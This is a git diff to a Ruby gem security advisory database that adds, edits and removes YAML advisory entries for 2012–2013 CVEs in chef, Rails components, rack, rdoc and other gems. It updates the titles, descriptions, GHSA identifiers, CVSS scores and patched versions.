index 00000000..ab123a42
--- /dev/null
+++ b/advisories/_posts/2012-08-08-CVE-2010-5142.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2010-5142 (chef): Chef Improper Access Control Vulnerability'
+comments: false
+categories:
+- chef
+advisory:
+  gem: chef
+  cve: 2010-5142
+  ghsa: f68m-q26r-64f6
+  url: https://github.com/advisories/GHSA-f68m-q26r-64f6
+  title: Chef Improper Access Control Vulnerability
+  date: 2012-08-08
+  description: |
+    `chef-server-api/app/controllers/users.rb` in the API in Chef before
+    0.9.0 does not require administrative privileges for the create,
+    destroy, and update methods, which allows remote authenticated
+    users to manage user accounts via requests to the /users URI.
+  cvss_v2: 6.5
+  patched_versions:
+  - ">= 0.9.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-5142
+    - https://vuldb.com/?id.61514
+    - http://tickets.opscode.com/browse/CHEF-1289
+    - https://github.com/opscode/chef/commit/c3bb41f727fbe00e5de719d687757b24c8dcdfc8
+    - https://github.com/advisories/GHSA-f68m-q26r-64f6
+---
diff --git a/advisories/_posts/2012-08-09-CVE-2012-3463.md b/advisories/_posts/2012-08-09-CVE-2012-3463.md
index 2c5adb02..2fcaa7a5 100644
--- a/advisories/_posts/2012-08-09-CVE-2012-3463.md
+++ b/advisories/_posts/2012-08-09-CVE-2012-3463.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-3463 (actionpack): Ruby on Rails select_tag Helper Method prompt
-  Value XSS'
+title: 'CVE-2012-3463 (actionpack): CVE-2012-3463 rubygem-actionpack: potential XSS
+  vulnerability in select_tag prompt'
 comments: false
 categories:
 - actionpack
@@ -11,16 +11,16 @@ advisory:
   framework: rails
   cve: 2012-3463
   osvdb: 84515
-  url: http://osvdb.org/84515
-  title: Ruby on Rails select_tag Helper Method prompt Value XSS
+  ghsa: 98mf-8f57-64qf
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-3463
+  title: 'CVE-2012-3463 rubygem-actionpack: potential XSS vulnerability in select_tag
+    prompt'
   date: 2012-08-09
   description: |
-    Ruby on Rails contains a flaw that allows a remote cross-site scripting (XSS)
-    attack. This flaw exists because input passed via the prompt value is not
-    properly sanitized by the select_tag helper method before returning it to
-    the user. This may allow a user to create a specially crafted request that
-    would execute arbitrary script code in a user's browser within the trust
-    relationship between their browser and the server.
+    Cross-site scripting (XSS) vulnerability in actionpack/lib/action_view/helpers/form_tag_helper.rb
+    in Ruby on Rails 3.x before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 allows
+    remote attackers to inject arbitrary web script or HTML via the prompt field to
+    the select_tag helper.
   cvss_v2: 4.3
   unaffected_versions:
   - "~> 2.3.0"
diff --git a/advisories/_posts/2012-08-09-CVE-2012-3464.md b/advisories/_posts/2012-08-09-CVE-2012-3464.md
index 0dda35b0..846d1fd4 100644
--- a/advisories/_posts/2012-08-09-CVE-2012-3464.md
+++ b/advisories/_posts/2012-08-09-CVE-2012-3464.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-3464 (activesupport): Ruby on Rails HTML Escaping Code XSS'
+title: 'CVE-2012-3464 (activesupport): CVE-2012-3464 rubygem-actionpack: potential
+  XSS vulnerability'
 comments: false
 categories:
 - activesupport
@@ -10,16 +11,15 @@ advisory:
   framework: rails
   cve: 2012-3464
   osvdb: 84516
-  url: http://www.osvdb.org/show/osvdb/84516
-  title: Ruby on Rails HTML Escaping Code XSS
+  ghsa: h835-75hw-pj89
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-3464
+  title: 'CVE-2012-3464 rubygem-actionpack: potential XSS vulnerability'
   date: 2012-08-09
   description: |
-    Ruby on Rails contains a flaw that allows a remote cross-site scripting (XSS)
-    attack. This flaw exists because the HTML escaping code functionality does
-    not properly escape a single quote character. This may allow a user to create
-    a specially crafted request that would execute arbitrary script code in a
-    user's browser within the trust relationship between their browser and the
-    server.
+    Cross-site scripting (XSS) vulnerability in activesupport/lib/active_support/core_ext/string/output_safety.rb
+    in Ruby on Rails before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 might
+    allow remote attackers to inject arbitrary web script or HTML via vectors involving
+    a ' (quote) character.
   cvss_v2: 4.3
   patched_versions:
   - "~> 3.0.17"
diff --git a/advisories/_posts/2012-08-09-CVE-2012-3465.md b/advisories/_posts/2012-08-09-CVE-2012-3465.md
index bf404fe7..804174e8 100644
--- a/advisories/_posts/2012-08-09-CVE-2012-3465.md
+++ b/advisories/_posts/2012-08-09-CVE-2012-3465.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-3465 (actionpack): Ruby on Rails strip_tags Helper Method XSS'
+title: 'CVE-2012-3465 (actionpack): CVE-2012-3465 rubygem-actionpack: XSS Vulnerability
+  in strip_tags'
 comments: false
 categories:
 - actionpack
@@ -10,16 +11,15 @@ advisory:
   framework: rails
   cve: 2012-3465
   osvdb: 84513
-  url: http://www.osvdb.org/show/osvdb/84513
-  title: Ruby on Rails strip_tags Helper Method XSS
+  ghsa: 7g65-ghrg-hpf5
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-3465
+  title: 'CVE-2012-3465 rubygem-actionpack: XSS Vulnerability in strip_tags'
   date: 2012-08-09
   description: |
-    Ruby on Rails contains a flaw that allows a remote cross-site scripting (XSS)
-    attack. This flaw exists because the application does not validate input
-    passed via the 'strip_tags' helper method before returning it to the user.
-    This may allow a user to create a specially crafted request that would
-    execute arbitrary script code in a user's browser within the trust
-    relationship between their browser and the server.
+    Cross-site scripting (XSS) vulnerability in actionpack/lib/action_view/helpers/sanitize_helper.rb
+    in the strip_tags helper in Ruby on Rails before 3.0.17, 3.1.x before 3.1.8, and
+    3.2.x before 3.2.8 allows remote attackers to inject arbitrary web script or HTML
+    via malformed HTML markup.
   cvss_v2: 4.3
   patched_versions:
   - "~> 3.0.17"
diff --git a/advisories/_posts/2012-09-08-CVE-2012-6134.md b/advisories/_posts/2012-09-08-CVE-2012-6134.md
index 9a9ba727..6f7eba59 100644
--- a/advisories/_posts/2012-09-08-CVE-2012-6134.md
+++ b/advisories/_posts/2012-09-08-CVE-2012-6134.md
@@ -8,7 +8,8 @@ advisory:
   gem: omniauth-oauth2
   cve: 2012-6134
   osvdb: 90264
-  url: http://www.osvdb.org/show/osvdb/90264
+  ghsa: fgmx-8h93-26fh
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-6134
   title: Ruby on Rails omniauth-oauth2 Gem CSRF vulnerability
   date: 2012-09-08
   description: |
diff --git a/advisories/_posts/2012-09-08-OSVDB-90945.md b/advisories/_posts/2012-09-08-OSVDB-90945.md
index f5cdbf45..cd7f6427 100644
--- a/advisories/_posts/2012-09-08-OSVDB-90945.md
+++ b/advisories/_posts/2012-09-08-OSVDB-90945.md
@@ -7,7 +7,7 @@ categories:
 advisory:
   gem: loofah
   osvdb: 90945
-  url: http://www.osvdb.org/show/osvdb/90945
+  url: https://security.snyk.io/vuln/SNYK-RUBY-LOOFAH-20039
   title: Loofah HTML and XSS injection vulnerability
   date: 2012-09-08
   description: |
@@ -21,5 +21,12 @@ advisory:
     within the trust relationship between their browser and the server.
   cvss_v2: 5.0
   patched_versions:
-  - ">=  0.4.6"
+  - ">= 0.4.6"
+  related:
+    url:
+    - https://github.com/flavorjones/loofah/compare/v0.4.5...v0.4.6
+    - https://security.snyk.io/vuln/SNYK-RUBY-LOOFAH-20039
+    - https://www.versioneye.com/Ruby/loofah/0.4.2
+    - https://www.mend.io/vulnerability-database/WS-2012-0023
+    - http://www.osvdb.org/show/osvdb/90945
 ---
diff --git a/advisories/_posts/2012-09-25-CVE-2012-2125.md b/advisories/_posts/2012-09-25-CVE-2012-2125.md
new file mode 100644
index 00000000..733853ef
--- /dev/null
+++ b/advisories/_posts/2012-09-25-CVE-2012-2125.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2012-2125 (rubygems-update): CVE-2012-2125 CVE-2012-2126 rubygems: Two
+  security fixes in v1.8.23'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2012-2125
+  osvdb: 85809
+  ghsa: 228f-g3h7-3fj3
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-2125
+  title: 'CVE-2012-2125 CVE-2012-2126 rubygems: Two security fixes in v1.8.23'
+  date: 2012-09-25
+  description: |
+    RubyGems before 1.8.23 can redirect HTTPS connections to HTTP, which
+    makes it easier for remote attackers to observe or modify a gem during
+    installation via a man-in-the-middle attack.
+  cvss_v2: 5.8
+  patched_versions:
+  - ">= 1.8.23"
+---
diff --git a/advisories/_posts/2012-12-04-CVE-2012-5604.md b/advisories/_posts/2012-12-04-CVE-2012-5604.md
index a89d7c7f..7ebdfeac 100644
--- a/advisories/_posts/2012-12-04-CVE-2012-5604.md
+++ b/advisories/_posts/2012-12-04-CVE-2012-5604.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-5604 (ldap_fluff): Red Hat Subscription Asset Manager rubygem-ldap_fluff
-  Active Directory Authentication Bypass'
+title: 'CVE-2012-5604 (ldap_fluff): CVE-2012-5604 rubygem-ldap_fluff: CloudForms authentication
+  bypass when handling anonymous LDAP bind'
 comments: false
 categories:
 - ldap_fluff
@@ -9,14 +9,15 @@ advisory:
   gem: ldap_fluff
   cve: 2012-5604
   osvdb: 90579
-  url: http://osvdb.org/show/osvdb/90579
-  title: Red Hat Subscription Asset Manager rubygem-ldap_fluff Active Directory Authentication
-    Bypass
+  ghsa: 9whh-582r-589h
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-5604
+  title: 'CVE-2012-5604 rubygem-ldap_fluff: CloudForms authentication bypass when
+    handling anonymous LDAP bind'
   date: 2012-12-04
-  description: Red Hat Subscription Asset Manager contains a flaw in the rubygem-ldap_fluff
-    component. The issue is triggered when using Microsoft Active Directory server
-    as the authentication back-end. This may result in authentication no longer being
-    enforced, allowing a remote attacker to trivially bypass it.
+  description: |
+    The ldap_fluff gem for Ruby, as used in Red Hat CloudForms 1.1, when
+    using Active Directory for authentication, allows remote attackers to bypass authentication
+    via unspecified vectors.
   cvss_v2: 5.0
   patched_versions:
   - ">= 0.1.3"
diff --git a/advisories/_posts/2012-12-06-CVE-2013-0284.md b/advisories/_posts/2012-12-06-CVE-2013-0284.md
index 2ba3ebec..68538139 100644
--- a/advisories/_posts/2012-12-06-CVE-2013-0284.md
+++ b/advisories/_posts/2012-12-06-CVE-2013-0284.md
@@ -9,7 +9,8 @@ advisory:
   gem: newrelic_rpm
   cve: 2013-0284
   osvdb: 90189
-  url: http://osvdb.org/show/osvdb/90189
+  ghsa: q6cw-2553-7837
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0284
   title: Ruby on Rails newrelic_rpm Gem Discloses Sensitive Information
   date: 2012-12-06
   description: |
diff --git a/advisories/_posts/2012-12-21-CVE-2012-6497.md b/advisories/_posts/2012-12-21-CVE-2012-6497.md
index 28e24662..ef018048 100644
--- a/advisories/_posts/2012-12-21-CVE-2012-6497.md
+++ b/advisories/_posts/2012-12-21-CVE-2012-6497.md
@@ -9,7 +9,8 @@ advisory:
   gem: authlogic
   cve: 2012-6497
   osvdb: 89064
-  url: http://osvdb.org/show/osvdb/89064
+  ghsa: rx7j-mw4c-76g9
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-6497
   title: Ruby on Rails Authlogic Gem secret_token.rb Known secret_token Value Weakness
   date: 2012-12-21
   description: |
diff --git a/advisories/_posts/2012-12-22-CVE-2012-6496.md b/advisories/_posts/2012-12-22-CVE-2012-6496.md
index ed9e3358..c4ab0d55 100644
--- a/advisories/_posts/2012-12-22-CVE-2012-6496.md
+++ b/advisories/_posts/2012-12-22-CVE-2012-6496.md
@@ -11,6 +11,7 @@ advisory:
   framework: rails
   cve: 2012-6496
   osvdb: 88661
+  ghsa: gh2w-j7cx-2664
   url: https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/DCNTNp_qjFM
   title: Ruby on Rails find_by_* Methods Authlogic SQL Injection Bypass
   date: 2012-12-22
diff --git a/advisories/_posts/2013-01-07-CVE-2013-0183.md b/advisories/_posts/2013-01-07-CVE-2013-0183.md
index 28799a95..580d306b 100644
--- a/advisories/_posts/2013-01-07-CVE-2013-0183.md
+++ b/advisories/_posts/2013-01-07-CVE-2013-0183.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-0183 (rack): Rack Long String Parsing Memory Consumption Remote DoS
+title: 'CVE-2013-0183 (rack): CVE-2013-0183 rubygem-rack: receiving excessively long
+  lines triggers out-of-memory error'
 comments: false
 categories:
 - rack
@@ -9,15 +9,15 @@ advisory:
   gem: rack
   cve: 2013-0183
   osvdb: 89320
-  url: http://osvdb.org/show/osvdb/89320
-  title: |
-    Rack Long String Parsing Memory Consumption Remote DoS
+  ghsa: 3pxh-h8hw-mj8w
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0183
+  title: 'CVE-2013-0183 rubygem-rack: receiving excessively long lines triggers out-of-memory
+    error'
   date: 2013-01-07
   description: |
-    Rack contains a flaw that may allow a remote denial of service. The issue is
-    triggered when parsing an overly long string. With a specially crafted string,
-    a remote attacker can cause a consumption of memory. This will result in a
-    loss of availability for the webserver.
+    multipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3
+    allows remote attackers to cause a denial of service (memory consumption and out-of-memory
+    error) via a long string in a Multipart HTTP packet.
   cvss_v2: 5.0
   patched_versions:
   - "~> 1.3.8"
diff --git a/advisories/_posts/2013-01-08-CVE-2013-0155.md b/advisories/_posts/2013-01-08-CVE-2013-0155.md
index 6a6db758..6bb5c252 100644
--- a/advisories/_posts/2013-01-08-CVE-2013-0155.md
+++ b/advisories/_posts/2013-01-08-CVE-2013-0155.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-0155 (activerecord): Ruby on Rails Active Record JSON Parameter Parsing
-  Query Bypass'
+title: 'CVE-2013-0155 (activerecord): CVE-2013-0155 rubygem-actionpack, rubygem-activerecord:
+  Unsafe Query Generation Risk in Ruby on Rails'
 comments: false
 categories:
 - activerecord
@@ -11,16 +11,18 @@ advisory:
   framework: rails
   cve: 2013-0155
   osvdb: 89025
-  url: http://osvdb.org/show/osvdb/89025
-  title: Ruby on Rails Active Record JSON Parameter Parsing Query Bypass
+  ghsa: gppp-5xc5-wfpx
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0155
+  title: 'CVE-2013-0155 rubygem-actionpack, rubygem-activerecord: Unsafe Query Generation
+    Risk in Ruby on Rails'
   date: 2013-01-08
   description: |
-    Ruby on Rails contains a flaw in the Active Record. The issue is due to an
-    error with the way the Active Record handles parameters combined with an
-    error during the parsing of the JSON parameters. This may allow a remote
-    attacker to bypass restrictions abd issue unexpected database queries with
-    "IS NULL" or empty where clauses, and forcing the query to unexpectedly check
-    for NULL or eliminate a WHERE clause.
+    Ruby on Rails 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before
+    3.2.11 does not properly consider differences in parameter handling between the
+    Active Record component and the JSON implementation, which allows remote attackers
+    to bypass intended database-query restrictions and perform NULL checks or trigger
+    missing WHERE clauses via a crafted request, as demonstrated by certain "[nil]"
+    values, a related issue to CVE-2012-2660 and CVE-2012-2694.
   cvss_v2: 10.0
   patched_versions:
   - "~> 2.3.16"
diff --git a/advisories/_posts/2013-01-08-CVE-2013-0156.md b/advisories/_posts/2013-01-08-CVE-2013-0156.md
index d5e8cb78..44b9c004 100644
--- a/advisories/_posts/2013-01-08-CVE-2013-0156.md
+++ b/advisories/_posts/2013-01-08-CVE-2013-0156.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-0156 (actionpack): Ruby on Rails params_parser.rb Action Pack Type
-  Casting Parameter Parsing Remote Code Execution'
+title: 'CVE-2013-0156 (actionpack): CVE-2013-0156 rubygem-activesupport: Multiple
+  vulnerabilities in parameter parsing in ActionPack'
 comments: false
 categories:
 - actionpack
@@ -11,15 +11,18 @@ advisory:
   framework: rails
   cve: 2013-0156
   osvdb: 89026
-  url: http://osvdb.org/show/osvdb/89026
-  title: Ruby on Rails params_parser.rb Action Pack Type Casting Parameter Parsing
-    Remote Code Execution
+  ghsa: jmgw-6vjg-jjwg
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0156
+  title: 'CVE-2013-0156 rubygem-activesupport: Multiple vulnerabilities in parameter
+    parsing in ActionPack'
   date: 2013-01-08
   description: |
-    Ruby on Rails contains a flaw in params_parser.rb of the Action Pack.
-    The issue is triggered when a type casting error occurs during the parsing
-    of parameters. This may allow a remote attacker to potentially execute
-    arbitrary code.
+    active_support/core_ext/hash/conversions.rb in Ruby on Rails before 2.3.15,
+    3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly
+    restrict casts of string values, which allows remote attackers to conduct object-injection
+    attacks and execute arbitrary code, or cause a denial of service (memory and CPU
+    consumption) involving nested XML entity references, by leveraging Action Pack support
+    for (1) YAML type conversion or (2) Symbol type conversion.
   cvss_v2: 10.0
   patched_versions:
   - "~> 2.3.15"
diff --git a/advisories/_posts/2013-01-08-CVE-2013-1802.md b/advisories/_posts/2013-01-08-CVE-2013-1802.md
index 599ef22f..f5166b32 100644
--- a/advisories/_posts/2013-01-08-CVE-2013-1802.md
+++ b/advisories/_posts/2013-01-08-CVE-2013-1802.md
@@ -9,7 +9,8 @@ advisory:
   gem: extlib
   cve: 2013-1802
   osvdb: 90740
-  url: http://osvdb.org/show/osvdb/90740
+  ghsa: 9h36-4jf2-hx53
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1802
   title: extlib Gem for Ruby Type Casting Parameter Parsing Remote Code Execution
   date: 2013-01-08
   description: |
diff --git a/advisories/_posts/2013-01-09-CVE-2013-1800.md b/advisories/_posts/2013-01-09-CVE-2013-1800.md
index 1d182128..01fc749c 100644
--- a/advisories/_posts/2013-01-09-CVE-2013-1800.md
+++ b/advisories/_posts/2013-01-09-CVE-2013-1800.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-1800 (crack): crack Gem for Ruby Type Casting Parameter Parsing Remote
-  Code Execution'
+title: 'CVE-2013-1800 (crack): CVE-2013-1800 rubygem-crack: YAML parameter parsing
+  vulnerability'
 comments: false
 categories:
 - crack
@@ -9,13 +9,16 @@ advisory:
   gem: crack
   cve: 2013-1800
   osvdb: 90742
-  url: http://osvdb.org/show/osvdb/90742
-  title: crack Gem for Ruby Type Casting Parameter Parsing Remote Code Execution
-  description: |
-    crack Gem for Ruby contains a flaw that is triggered when a type casting
-    error occurs during the parsing of parameters. This may allow a
-    context-dependent attacker to potentially execute arbitrary code.
+  ghsa: m7fq-cf8q-35q7
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1800
+  title: 'CVE-2013-1800 rubygem-crack: YAML parameter parsing vulnerability'
   date: 2013-01-09
+  description: |
+    The crack gem 0.3.1 and earlier for Ruby does not properly restrict casts
+    of string values, which might allow remote attackers to conduct object-injection
+    attacks and execute arbitrary code, or cause a denial of service (memory and CPU
+    consumption) by leveraging Action Pack support for (1) YAML type conversion or (2)
+    Symbol type conversion, a similar vulnerability to CVE-2013-0156.
   cvss_v2: 7.5
   patched_versions:
   - ">= 0.3.2"
diff --git a/advisories/_posts/2013-01-10-CVE-2013-0285.md b/advisories/_posts/2013-01-10-CVE-2013-0285.md
index 3c02ab5f..dc72a6ab 100644
--- a/advisories/_posts/2013-01-10-CVE-2013-0285.md
+++ b/advisories/_posts/2013-01-10-CVE-2013-0285.md
@@ -8,7 +8,8 @@ advisory:
   gem: nori
   cve: 2013-0285
   osvdb: 90196
-  url: http://osvdb.org/show/osvdb/90196
+  ghsa: 4936-rj25-6wm6
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0285
   title: Ruby Gem nori Parameter Parsing Remote Code Execution
   date: 2013-01-10
   description: |
diff --git a/advisories/_posts/2013-01-11-CVE-2013-0175.md b/advisories/_posts/2013-01-11-CVE-2013-0175.md
index ccdbb9fd..1c81a2c1 100644
--- a/advisories/_posts/2013-01-11-CVE-2013-0175.md
+++ b/advisories/_posts/2013-01-11-CVE-2013-0175.md
@@ -9,7 +9,8 @@ advisory:
   gem: multi_xml
   cve: 2013-0175
   osvdb: 89148
-  url: http://osvdb.org/show/osvdb/89148
+  ghsa: pchc-949f-53m5
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0175
   title: multi_xml Gem for Ruby XML Parameter Parsing Remote Command Execution
   date: 2013-01-11
   description: |
diff --git a/advisories/_posts/2013-01-13-CVE-2013-0184.md b/advisories/_posts/2013-01-13-CVE-2013-0184.md
index 64e47480..1ca92db5 100644
--- a/advisories/_posts/2013-01-13-CVE-2013-0184.md
+++ b/advisories/_posts/2013-01-13-CVE-2013-0184.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-0184 (rack): Rack Rack::Auth::AbstractRequest Class Unspecified Remote DoS
+title: 'CVE-2013-0184 (rack): CVE-2013-0184 rubygem-rack: Rack::Auth::AbstractRequest
+  DoS'
 comments: false
 categories:
 - rack
@@ -9,14 +9,15 @@ advisory:
   gem: rack
   cve: 2013-0184
   osvdb: 89327
-  url: http://osvdb.org/show/osvdb/89327
-  title: |
-    Rack Rack::Auth::AbstractRequest Class Unspecified Remote DoS
+  ghsa: v882-ccj6-jc48
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0184
+  title: 'CVE-2013-0184 rubygem-rack: Rack::Auth::AbstractRequest DoS'
   date: 2013-01-13
   description: |
-    Rack contains a flaw in the Rack::Auth::AbstractRequest class that may allow
-    a remote denial of service. The issue is triggered when an unspecified error
-    occurs, which will result in a loss of availability for the webserver.
+    Unspecified vulnerability in Rack::Auth::AbstractRequest in Rack 1.1.x
+    before 1.1.5, 1.2.x before 1.2.7, 1.3.x before 1.3.9, and 1.4.x before 1.4.4 allows
+    remote attackers to cause a denial of service via unknown vectors related to "symbolized
+    arbitrary strings."
   cvss_v2: 4.3
   patched_versions:
   - "~> 1.1.5"
diff --git a/advisories/_posts/2013-01-14-CVE-2013-1801.md b/advisories/_posts/2013-01-14-CVE-2013-1801.md
index 9a22ae4c..75803529 100644
--- a/advisories/_posts/2013-01-14-CVE-2013-1801.md
+++ b/advisories/_posts/2013-01-14-CVE-2013-1801.md
@@ -9,7 +9,8 @@ advisory:
   gem: httparty
   cve: 2013-1801
   osvdb: 90741
-  url: http://osvdb.org/show/osvdb/90741
+  ghsa: mgx3-27hr-mfgp
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-1801
   title: httparty Gem for Ruby Type Casting Parameter Parsing Remote Code Execution
   date: 2013-01-14
   description: |
diff --git a/advisories/_posts/2013-01-28-CVE-2013-0233.md b/advisories/_posts/2013-01-28-CVE-2013-0233.md
index d7e7ce6b..ed16fd35 100644
--- a/advisories/_posts/2013-01-28-CVE-2013-0233.md
+++ b/advisories/_posts/2013-01-28-CVE-2013-0233.md
@@ -9,7 +9,8 @@ advisory:
   gem: devise
   cve: 2013-0233
   osvdb: 89642
-  url: http://osvdb.org/show/osvdb/89642
+  ghsa: jxhw-mg8m-2pj8
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0233
   title: Devise Database Type Conversion Crafted Request Parsing Security Bypass
   date: 2013-01-28
   description: |
diff --git a/advisories/_posts/2013-01-28-CVE-2013-0333.md b/advisories/_posts/2013-01-28-CVE-2013-0333.md
index 25d01e96..7f52edd3 100644
--- a/advisories/_posts/2013-01-28-CVE-2013-0333.md
+++ b/advisories/_posts/2013-01-28-CVE-2013-0333.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-0333 (activesupport): Ruby on Rails JSON Parser Crafted Payload YAML
-  Subset Decoding Remote Code Execution'
+title: 'CVE-2013-0333 (activesupport): CVE-2013-0333 rubygem-activesupport: json to
+  yaml parsing'
 comments: false
 categories:
 - activesupport
@@ -11,18 +11,16 @@ advisory:
   framework: rails
   cve: 2013-0333
   osvdb: 89594
-  url: http://osvdb.org/show/osvdb/89594
-  title: Ruby on Rails JSON Parser Crafted Payload YAML Subset Decoding Remote Code
-    Execution
+  ghsa: xgr2-v94m-rc9g
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0333
+  title: 'CVE-2013-0333 rubygem-activesupport: json to yaml parsing'
   date: 2013-01-28
   description: |
-    Ruby on Rails contains a flaw in the JSON parser. Rails supports multiple
-    parsing backends, one of which involves transforming JSON into YAML via the
-    YAML parser. With a specially crafted payload, an attacker can subvert the
-    backend into decoding a subset of YAML. This may allow a remote attacker to
-    bypass restrictions, allowing them to bypass authentication systems, inject
-    arbitrary SQL, inject and execute arbitrary code, or perform a DoS attack on
-    a Rails application.
+    lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before
+    2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data
+    for processing by a YAML parser, which allows remote attackers to execute arbitrary
+    code, conduct SQL injection attacks, or bypass authentication via crafted data that
+    triggers unsafe decoding, a different vulnerability than CVE-2013-0156.
   cvss_v2: 9.3
   patched_versions:
   - "~> 2.3.16"
diff --git a/advisories/_posts/2013-02-04-CVE-2013-0269.md b/advisories/_posts/2013-02-04-CVE-2013-0269.md
deleted file mode 100644
index 44c7cbad..00000000
--- a/advisories/_posts/2013-02-04-CVE-2013-0269.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-layout: advisory
-title: 'CVE-2013-0269 (json): json Gem for Ruby JSON::GenericObject Function Arbitrary
-  Addition Creation'
-comments: false
-categories:
-- json
-advisory:
-  gem: json
-  cve: 2013-0269
-  osvdb: 101137
-  url: http://osvdb.org/show/osvdb/101137
-  title: json Gem for Ruby JSON::GenericObject Function Arbitrary Addition Creation
-  date: 2013-02-04
-  description: |
-    json Gem for Ruby contains a flaw in the JSON::GenericObject function. The
-    issue is due to the program failing to restrict users from creating additions
-    regardless of the state of create_additions. This may allow a remote attacker
-    to create arbitrary additions.
-  cvss_v2: 9.0
-  patched_versions:
-  - ">= 1.7.7"
-  unaffected_versions:
-  - "< 1.7.0"
----
diff --git a/advisories/_posts/2013-02-06-CVE-2013-0256.md b/advisories/_posts/2013-02-06-CVE-2013-0256.md
index 49409a15..fff930cb 100644
--- a/advisories/_posts/2013-02-06-CVE-2013-0256.md
+++ b/advisories/_posts/2013-02-06-CVE-2013-0256.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-0256 (rdoc): RDoc 2.3.0 through 3.12 XSS Exploit'
+title: 'CVE-2013-0256 (rdoc): CVE-2013-0256 rubygem-rdoc: Cross-site scripting in
+  the documentation created by Darkfish Rdoc HTML generator / template'
 comments: false
 categories:
 - rdoc
@@ -8,21 +9,15 @@ advisory:
   gem: rdoc
   cve: 2013-0256
   osvdb: 90004
-  url: http://www.osvdb.org/show/osvdb/90004
-  title: RDoc 2.3.0 through 3.12 XSS Exploit
+  ghsa: v2r9-c84j-v7xm
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0256
+  title: 'CVE-2013-0256 rubygem-rdoc: Cross-site scripting in the documentation created
+    by Darkfish Rdoc HTML generator / template'
   date: 2013-02-06
   description: |
-    Doc documentation generated by rdoc 2.3.0 through rdoc 3.12 and prereleases
-    up to rdoc 4.0.0.preview2.1 are vulnerable to an XSS exploit. This exploit
-    may lead to cookie disclosure to third parties.
-
-    The exploit exists in darkfish.js which is copied from the RDoc install
-    location to the generated documentation.
-
-    RDoc is a static documentation generation tool. Patching the library itself
-    is insufficient to correct this exploit.
-
-    This exploit was discovered by Evgeny Ermakov <corwmh@gmail.com>.
+    darkfish.js in RDoc 2.3.0 through 3.12 and 4.x before 4.0.0.preview2.1,
+    as used in Ruby, does not properly generate documents, which allows remote attackers
+    to conduct cross-site scripting (XSS) attacks via a crafted URL.
   cvss_v2: 4.3
   patched_versions:
   - "~> 3.9.5"
diff --git a/advisories/_posts/2013-02-07-CVE-2013-0262.md b/advisories/_posts/2013-02-07-CVE-2013-0262.md
index c76030bf..c778982d 100644
--- a/advisories/_posts/2013-02-07-CVE-2013-0262.md
+++ b/advisories/_posts/2013-02-07-CVE-2013-0262.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-0262 (rack): Rack Rack::File Function Symlink Traversal Arbitrary File Disclosure
+title: 'CVE-2013-0262 (rack): CVE-2013-0262 rubygem-rack: Path sanitization information
+  disclosure'
 comments: false
 categories:
 - rack
@@ -9,14 +9,15 @@ advisory:
   gem: rack
   cve: 2013-0262
   osvdb: 89938
-  url: http://osvdb.org/show/osvdb/89938
-  title: |
-    Rack Rack::File Function Symlink Traversal Arbitrary File Disclosure
+  ghsa: 85r7-w5mv-c849
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0262
+  title: 'CVE-2013-0262 rubygem-rack: Path sanitization information disclosure'
   date: 2013-02-07
   description: |
-    Rack contains a flaw as the Rack::File function creates temporary files
-    insecurely. It is possible for a local attacker to use a symlink attack to
-    traverse to an arbitrary file and disclose its contents
+    rack/file.rb (Rack::File) in Rack 1.5.x before 1.5.2 and 1.4.x before
+    1.4.5 allows attackers to access arbitrary files outside the intended root directory
+    via a crafted PATH_INFO environment variable, probably a directory traversal vulnerability
+    that is remotely exploitable, aka "symlink path traversals."
   cvss_v2: 4.3
   patched_versions:
   - "~> 1.4.5"
diff --git a/advisories/_posts/2013-02-07-CVE-2013-0263.md b/advisories/_posts/2013-02-07-CVE-2013-0263.md
